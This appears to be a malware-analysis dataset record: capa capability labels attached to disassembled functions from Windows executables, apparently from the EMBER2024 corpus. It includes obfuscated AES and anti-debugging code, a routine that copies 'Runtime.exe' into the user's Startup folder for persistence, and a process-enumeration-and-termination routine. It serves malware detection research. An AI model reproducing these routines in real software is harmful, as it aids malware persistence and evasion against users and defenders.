joyce8/EMBER2024-capa huggingface dataset:
Function at 0x66ba9a
Capabilities:
Encrypt data using aes

Disassembly:
call fcn.0066c009
ror dword [edx - 0x1b], cl
adc al, 0x68
adc eax, 0xb073a58c
int 0xed
pop eax
mov ebx, 0x32e90d92
test al, 3
add byte [edi + 0x3318392e], al
cmp al, 0xa2
dec ecx
and byte [eax + 0x46], al
xchg edx, eax
cld
les esi, [edi + 0x5e]
test eax, 0x953c8d
add byte [eax], al
add byte [esi - 0x55b21629], al
add eax, dword [eax]
jnp 0x631111
lea edi, [edx*4]
xchg bh, dl
jmp 0x66bb0a
int 0x5c
pop esp
xor dword [eax - reloc.KERNEL32.dll_WriteConsoleW], 0xa2dc3060
adc byte [esi - 0x18], ah
cmpsb byte [esi], byte es:[edi]
invalid
push ebx
call 0x631131
scasd eax, dword es:[edi]
mov dh, 0xa1
loopne 0x63109d
add al, 2
push 6
add al, 0xad
xor byte [esi - 0x746cef6f], cl
in al, dx
mov ebp, esp
push ecx
push ecx
jmp 0x6310d3
lea esp, [esp + 4]
jmp 0x6310e9
lea ebx, [esp - 0xb4]
sete cl
call 0x66ba9a
mov dword [ebp - 4], ecx
pushfd
jmp 0x66bb45
lea esp, [esp + 8]
jle 0x631083
jg 0x66ba69
mov cx, 0x2b76
lea esp, [esp + 4]
lea ecx, [eax - 1]
jmp 0x66ba78
not dx
inc edi
inc dh
jmp 0x66bb1e
mov dx, 0xf1f4
rcr dh, 2
rcl edx, 8
add esi, 0x10
mov dh, ah
jmp 0x66bad2
bt dx, cx
movzx ebx, byte [esi + 0x11]
mov ebx, dword [ebx*4 + reloc.KERNEL32.dll_WriteConsoleW]
bsf edx, eax
jmp 0x66bae8
mov edx, dword [esi]
shr edi, 7
mov edi, edx
cmc
jmp 0x66bb2c
sub esp, 0
shr edi, 0x18
clc
cmc
jmp 0x66bb69
mov ecx, 0xff
lea esp, [esp + 4]
jmp 0x6310af
mov edi, dword [edi*4 + reloc.KERNEL32.dll_WriteConsoleW]
and edi, ecx
call fcn.0066bb53
mov edi, dword [edi*4 + reloc.KERNEL32.dll_WriteConsoleW]
jmp 0x66bfd5
lea esp, [esp + 0x24]
xor edi, dword [ebx*4 + reloc.KERNEL32.dll_WriteConsoleW]
movzx ebx, byte [esi + 2]
call fcn.0066bd30
and ebx, ecx
sub esp, 3
pushal
lea esp, [esp + 3]
jmp 0x66be1e

Function at 0x66bc18
Capabilities:
Encrypt data using aes

Disassembly:
pushal
push esi
jmp 0x66bbca
lea esp, [esp + 0x20]
xor edi, dword [ebx*4 + reloc.KERNEL32.dll_WriteConsoleW]
bsr bx, sp
lea ebx, [eax + edi]
movzx ebx, byte [esi + 5]
jmp 0x66bb9c
and edx, ecx
jmp 0x66bbf0
and ebx, ecx
sub esp, 0x18
mov byte [esp + 0xf], al
mov dword [esp + 0x12], ebp
jmp 0x66bbb2
mov edx, dword [edx*4 + reloc.KERNEL32.dll_WriteConsoleW]
and edx, ecx
lea esp, [esp + 0x24]
jmp 0x66bcec
mov dword [esp + 0x10], esi
popal
jmp 0x66bc30
jmp 0x66bbe1
add ebx, 4
mov edx, dword [ebx]
pop ebx
call fcn.0066bc1a
xor edi, dword [edx*4 + reloc.KERNEL32.dll_WriteConsoleW]
push ebx
pushal
rdtsc
jmp 0x66bc02

Function at 0x66bd81
Capabilities:
Encrypt data using aes

Disassembly:
mov ebx, dword [ebx*4 + reloc.KERNEL32.dll_WriteConsoleW]
call fcn.0066bc18
add ecx, 9
movzx ebx, byte [ecx]
pop ecx
push dx
push cx
jmp 0x66bd60
and edx, ecx
push ecx
mov ecx, edx
jmp 0x66bd6b
lea ecx, [ecx*4]
lea ecx, reloc.KERNEL32.dll_WriteConsoleW
mov edx, dword [ecx]
pop ecx
call fcn.0066bd8e
ret 0xc483
Function at 0x66bd8e
Capabilities:
Encrypt data using aes

Disassembly:
jmp 0x66bda4
and edx, ecx
jmp 0x66bdf1
xchg dh, dl
mov edx, dword [esi + 8]
call fcn.0066bdc1
sub eax, 0xb54623b3
add dh, byte [0xbc4d2ab4]
add esp, dword [ecx]
pushal
mov dword [reloc.KERNEL32.dll_WriteConsoleW], eax
or byte [ebx], dh
cmp al, 0x95
sub cl, al
arpl word [eax], ax
lea esp, [esp + 8]
xor edi, dword [edx*4 + reloc.KERNEL32.dll_WriteConsoleW]
bsr edx, edx
mov dl, byte [esp]
pushal
jmp 0x66bdd7

Function at 0x66bec2
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov edx, dword [edx*4 + reloc.KERNEL32.dll_WriteConsoleW]
jmp 0x66bee9
and edx, ecx
lea esp, [esp + 0xc]
xor edi, dword [edx*4 + reloc.KERNEL32.dll_WriteConsoleW]
sub esp, 0x19
jmp 0x66bf4d
mov dh, bl
lea esp, [esp + 1]
mov edx, dword [esi + 0xc]
call fcn.0066befb
and edi, ecx
jmp 0x66bf8f
xor edi, dword [ebx*4 + reloc.KERNEL32.dll_WriteConsoleW]
lea ebx, [edi*4]
jmp 0x66bfb4
mov edi, dword [edi*4 + reloc.KERNEL32.dll_WriteConsoleW]
and ebx, ecx
lea esp, [esp + 0x40]
jmp 0x66bf79
mov ebp, ebx
jmp 0x66bfbc
movzx ebx, byte [esi + 0xe]
pushal
push ebp
jmp 0x66bf9e
lea ebp, [ebp*4]
lea ebp, reloc.KERNEL32.dll_WriteConsoleW
mov ebx, dword [ebp]
pop ebp
jmp 0x66c56b

Function at 0x66befb
Capabilities:
Encrypt data using aes

Disassembly:
mov dword [esi + 8], edi
jmp 0x66bf24
mov ebx, dword [ebx*4 + reloc.KERNEL32.dll_WriteConsoleW]
xor edi, 0x43768d75
mov edi, edx
pushal
jmp 0x66bf71
shr edi, 0x18
call 0x66bf36

Function at 0x66c009
Capabilities:
Encrypt data using aes

Disassembly:
and edx, ecx
sub esp, 0xf
pushfd
push dword [esp + 4]
lea esp, [esp + 3]
jmp 0x66c050
and ebx, ecx
lea esp, [esp + 0x7c]
xor edi, dword [ebx*4 + reloc.KERNEL32.dll_WriteConsoleW]
jmp 0x66bfe4
jmp 0x66c033
mov dword [esi + 0xc], edi
pushal
lea esp, [esp + 0x40]
jne 0x6310af
je 0x631083
mov edi, dword [esp + 4]
setnp bl
mov bh, byte [esp]
jmp 0x66c061
lea esp, [esp + 0x14]
xor edi, dword [edx*4 + reloc.KERNEL32.dll_WriteConsoleW]
dec dword [ebp - 4]
pushal
jmp 0x66c01f
lea esp, [esp + 8]
pop esi
lea ebx, [ebx*4]
jmp 0x66c0af
lea esi, [esi*4]
lea esi, reloc.KERNEL32.dll_WriteConsoleW
mov edx, dword [esi]
pop esi
pushal
pushal
jmp 0x66bffa
pop ebx
call fcn.0066c099
push 0x63d2dc
call fcn.00647ed5
psubsw mm0, mm3
add byte [eax], al
add byte [edx], al
adc dword [ecx], reloc.KERNEL32.dll_WriteConsoleW
inc edx
sal byte [edi + 0x3a83f042], 1
adc eax, 0x89605684
push esp
and al, 4
popal
jmp 0x66c082

Function at 0x66c914
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [ebp - 8], edi
call 0x66c949
xchg esp, eax
adc byte [esi + 0xaa110e1], al
lea ebx, reloc.KERNEL32.dll_WriteConsoleW
push ds
mov ebx, gs
mov eax, dword es:[0x8de1f6ef]
lea esp, [esp + 1]
lea esp, [esp + 1]
lea esp, [esp + 3]
jmp 0x66c8f7
Function at 0x66cab5
Capabilities:
Execute anti-debugging instructions

Disassembly:
test eax, eax
jne 0x66c50c
jmp fcn.0066c551
test eax, eax
jne 0x66c5b5
je 0x66c5db
dec eax
retf 0x3f58
lea esp, [esp + 4]
jb 0x66c4d3
jae 0x66cb4e
das
and dword ss:[eax - 0x5d], esp
ficomp dword [edi + 0x3b]
invalid
adc byte [ecx - 0x7f], ah
invalid
lea esp, [esp + 0x2c]
jb 0x66c522
jae 0x66c4d3
dec ebx
loop 0x66cb27
insb byte es:[edi], dx
jg 0x66cb53
push esp
cmp eax, ecx
pushfd
push dword [esp + 2]
jmp 0x66caf7
loopne 0x66cab0
jb 0x66caeb
ljmp 0xffff:0xfaa8840f
mov ecx, dword [ebp - 0x18]
stc
add ecx, esi
into
pushal
jmp 0x66cb0d

Function at 0x66cb57
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 4]
cmp dword [ebp - 4], ebx
jmp 0x66cb9b
jle 0x66c57a
jmp 0x66c5db

Function at 0x795d5e
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
lea esp, [esp + 4]
jmp 0x795d83
push word [esp + 2]
mov dword [esp + 2], ebp
mov dword [esp + 4], edi
jmp 0x795d48
push esi
jmp 0x795d91
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x795d6d
mov esi, eax
mov eax, dword [esi]
pop esi
jmp 0x795db5

Function at 0x795ddb
Capabilities:
Parse pe header

Disassembly:
call fcn.00794b00
mov word [esp], ax
mov dword [esp], esi
push bx
call fcn.00795d5e
mov eax, dword [eax + 8]
push eax
jmp 0x794afb
mov byte [esp], dh
jmp 0x795da7
Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x4c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
je 0x40151a
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x40151d
Capabilities:
Query environment variable
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
mov dword [ebp - 0xc], str..dependenciesRuntime.exe
mov dword [ebp - 0x10], str.Runtime.exe
mov dword [esp], str.APPDATA
call sym._getenv
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40156b
mov dword [esp + 4], str.Impossible_de_rcuprer_le_chemin___appdata___n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, 1
jmp 0x40169c
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMicrosoftWindowsStart_MenuProgramsStartup_s
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym.___mingw_snprintf
mov dword [esp + 4], 0x40b0fc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4015dc
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Erreur_lors_de_louverture_du_fichier_source__s_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, 1
jmp 0x40169c
mov dword [esp + 4], 0x40b131
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401653
lea eax, [ebp - 0x220]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Erreur_lors_de_louverture_du_fichier_destination__s_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov eax, 1
jmp 0x40169c
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x620]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x620]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40162f
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fclose
mov eax, 0
leave
ret
Function at 0x401d40
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401d8b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d84
test esi, esi
je 0x401d84
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d60
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f70
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401fc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402098
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401ffe
cmp eax, 4
jne 0x402020
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40200e
cmp edx, 4
je 0x40200e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f70
Function at 0x40194e
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0x258
mov eax, 0x552c33
call fcn.0054f7e3
mov edi, ecx
mov dword [ebp - 0x264], edi
xor eax, eax
mov esi, eax
push eax
push 2
mov dword [ebp - 0x248], esi
mov dword [ebp - 0x25c], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401b2d
xor eax, eax
push 0x22c
push eax
lea eax, [ebp - 0x240]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [ebp - 0x240], 0x22c
lea eax, [ebp - 0x240]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x401b1e
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x238], eax
je 0x401aa2
push 1
call dword [sym.imp.MSVCP120.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_bool_]
pop ecx
mov dword [ebp - 0x260], eax
xor ecx, ecx
or esi, 1
mov dword [ebp - 4], ecx
mov ecx, eax
mov dword [ebp - 0x24c], eax
mov edx, dword [eax]
mov dword [ebp - 0x248], esi
mov dword [ebp - 0x25c], esi
call dword [edx + 4]
lea edx, [edi + 0x14]
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x258]
call fcn.004023f1
lea ecx, [ebp - 0x21c]
xor esi, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x401a1c
mov esi, dword [ebp - 0x258]
lea eax, [ebp - 0x21c]
sub ecx, edx
lea edi, [ebp - 0x21c]
sar ecx, 1
lea eax, [eax + ecx*2]
mov dword [ebp - 0x250], eax
cmp esi, dword [ebp - 0x254]
je 0x401a77
cmp edi, eax
je 0x401a7f
push edi
push esi
lea ecx, [ebp - 0x24c]
call fcn.00402415
test al, al
je 0x401a97
mov eax, dword [ebp - 0x250]
add esi, 2
add edi, 2
cmp esi, dword [ebp - 0x254]
jne 0x401a4e
cmp edi, eax
jne 0x401b35
cmp esi, dword [ebp - 0x254]
jne 0x401b35
mov byte [ebp - 0x241], 1
jmp 0x401b3d
lea ecx, [ebp - 0x24c]
call fcn.00401589
xor eax, eax
mov byte [ebp - 0x241], al
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x248]
test al, 1
je 0x401acc
and eax, 0xfffffffe
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x248], eax
call fcn.00401589
cmp byte [ebp - 0x241], 0
je 0x401b04
push dword [ebp - 0x238]
xor eax, eax
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401b04
cmp esi, 0xffffffff
je 0x401b04
push 0xdead
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x240]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov esi, dword [ebp - 0x248]
mov edi, dword [ebp - 0x264]
test eax, eax
jne 0x4019bd
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0054f792
ret 4
xor eax, eax
mov byte [ebp - 0x241], al
lea ecx, [ebp - 0x24c]
call fcn.00401589
cmp byte [ebp - 0x241], 0
je 0x401aa2
mov byte [ebp - 0x241], 1
jmp 0x401aaa
Function at 0x4032c1
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ecx + 0x14], 8
jb 0x4032cf
mov ecx, dword [ecx]
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 7
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4032f8
xor eax, eax
jmp 0x40337a
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, 0x400
cmp eax, ecx
cmova eax, ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x403371
push edi
push eax
call fcn.0054e5c7
pop ecx
push esi
mov edi, eax
mov dword [ebp - 4], esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403368
push 2
pop eax
cmp dword [ebp - 4], eax
jb 0x403350
cmp byte [edi], 0xff
jne 0x403350
cmp byte [edi + 1], 0xfe
jne 0x403350
xor esi, esi
inc esi
jmp 0x403368
cmp dword [ebp - 4], 3
jb 0x403368
cmp byte [edi], 0xef
jne 0x403368
cmp byte [edi + 1], 0xbb
jne 0x403368
cmp byte [edi + 2], 0xbf
cmove esi, eax
push edi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete___void__]
pop ecx
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4090a9
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
xor edx, edx
push esi
mov esi, dword [ebp + 8]
push edi
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x811c9dc5
movzx eax, byte [ebp + edx - 0x10]
xor eax, esi
imul esi, eax, 0x1000193
inc edx
cmp edx, 8
jb 0x4090c2
mov edx, dword [ecx + 0x14]
mov eax, edx
and eax, esi
pop edi
pop esi
cmp dword [ecx + 0x18], eax
ja 0x4090ec
shr edx, 1
or ecx, 0xffffffff
sub ecx, edx
add eax, ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x4093d6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x553bf0
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x5b31c8]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x5b31c8]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x409517
cmp byte [esi + 0x45], bl
je 0x409517
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x409436
xor al, al
jmp 0x409519
push ebx
push 8
lea ecx, [esp + 0x20]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.004096d0
mov dword [esp + 0x40], ebx
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x2c]
cmp edi, 0x10
lea eax, [esp + 0x14]
push eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x1c]
cmovae edx, ebx
lea ecx, [esp + 0x1c]
cmovae ecx, ebx
add eax, edx
push eax
push ecx
mov ecx, dword [esi + 0x40]
lea eax, [esi + 0x48]
push eax
call dword [sym.imp.MSVCP120.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x409499
dec eax
je 0x40949d
dec eax
dec eax
je 0x409504
xor bl, bl
jmp 0x409506
mov byte [esi + 0x45], 0
mov edi, dword [esp + 0x2c]
lea eax, [esp + 0x18]
mov ebx, dword [esp + 0x18]
cmp edi, 0x10
mov ecx, dword [esp + 0x14]
cmovae eax, ebx
sub ecx, eax
mov dword [esp + 0x10], ecx
je 0x4094e5
push dword [esi + 0x50]
cmp edi, 0x10
lea eax, [esp + 0x1c]
push ecx
cmovae eax, ebx
push 1
push eax
call dword [sym.imp.MSVCR120.dll_fwrite]
mov ecx, dword [esp + 0x20]
add esp, 0x10
cmp ecx, eax
jne 0x409495
mov edi, dword [esp + 0x2c]
mov ebx, dword [esp + 0x18]
cmp byte [esi + 0x45], 0
je 0x409504
test ecx, ecx
jne 0x40945e
push ecx
push 8
lea ecx, [esp + 0x20]
call fcn.00408d14
jmp 0x409456
mov bl, 1
push 0
push 1
lea ecx, [esp + 0x20]
call fcn.00401c56
mov al, bl
jmp 0x409519
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0054e63c
mov esp, ebp
pop ebp
ret
Function at 0x40f1fd
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov dword [edi], ebx
mov dword [edi + 4], ebx
mov dword [edi + 0x18], ebx
mov byte [edi + 0x20], bl
mov dword [edi + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push str.KgServiceShareData
push 0x1000
push ebx
push 4
push ebx
push 0xffffffffffffffff
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [edi + 0x24], eax
test eax, eax
je 0x40f250
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x40f250
push eax
mov dword [eax], esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x415cbd
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x555487
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x5b31c8]
xor eax, esp
mov dword [esp + 0x68], eax
push ebx
push esi
push edi
mov eax, dword [0x5b31c8]
xor eax, esp
push eax
lea eax, [esp + 0x80]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
lea ecx, [esp + 0x48]
push str.ipcSendId
call fcn.00401b61
xor ebx, ebx
mov ecx, edi
mov dword [esp + 0x88], ebx
mov eax, dword [edi]
call dword [eax + 4]
push edx
push eax
lea edx, [esp + 0x50]
mov ecx, esi
call fcn.00413a1a
or dword [esp + 0x90], 0xffffffff
pop ecx
pop ecx
push ebx
push 1
lea ecx, [esp + 0x50]
call fcn.00401c56
push str.stat_RecvTick
lea ecx, [esp + 0x34]
call fcn.00401b61
mov dword [esp + 0x88], 1
lea ecx, [esp + 0x14]
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
push eax
call fcn.0052f930
push dword [esp + 0x20]
lea edx, [esp + 0x34]
mov dword [esp + 0x28], ebx
push dword [esp + 0x20]
mov ecx, esi
mov dword [esp + 0x30], ebx
call fcn.00413a1a
or dword [esp + 0x90], 0xffffffff
pop ecx
pop ecx
push ebx
push 1
lea ecx, [esp + 0x38]
call fcn.00401c56
mov edx, esi
lea ecx, [esp + 0x60]
call fcn.00413f23
mov dword [esp + 0x88], 2
cmp dword [edi + 0x14], ebx
je 0x415e24
push 0x18
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov esi, eax
pop ecx
mov dword [esp + 0x14], esi
mov byte [esp + 0x88], 3
test esi, esi
je 0x415e12
push 2
push 0x6a000c
push bind
mov ecx, esi
call fcn.0054cb30
lea eax, [esp + 0x60]
mov byte [esp + 0x88], 4
push eax
mov ecx, esi
mov dword [esi], 0x570594
call fcn.0052ff80
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0052ff80
jmp 0x415e14
mov esi, ebx
mov byte [esp + 0x88], 2
mov ecx, dword [edi + 0x14]
push esi
mov eax, dword [ecx]
call dword [eax]
push ebx
push 1
lea ecx, [esp + 0x68]
call fcn.00401c56
mov ecx, dword [esp + 0x80]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.0054e63c
mov esp, ebp
pop ebp
ret 0x10

Function at 0x417d51
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x555868
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x5b31c8]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push 1
push ecx
call fcn.0043c62a
pop ecx
mov ecx, eax
call fcn.0043c5da
push 0
push fcn.00414cc5
lea edx, [esp + 0x10]
mov dword [esp + 0x10], esi
lea ecx, [esp + 0x14]
call fcn.0042c243
pop ecx
pop ecx
and dword [esp + 0x30], 0
push eax
call fcn.00528770
push eax
push 0x4a7
push str.transfer_session.cpp
push str.transfer::TransferSession::OnError
lea ecx, [esp + 0x28]
call fcn.00528730
mov ecx, dword [esi + 0x70]
push eax
call fcn.0052aef0
or dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0xc]
call fcn.00529200
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret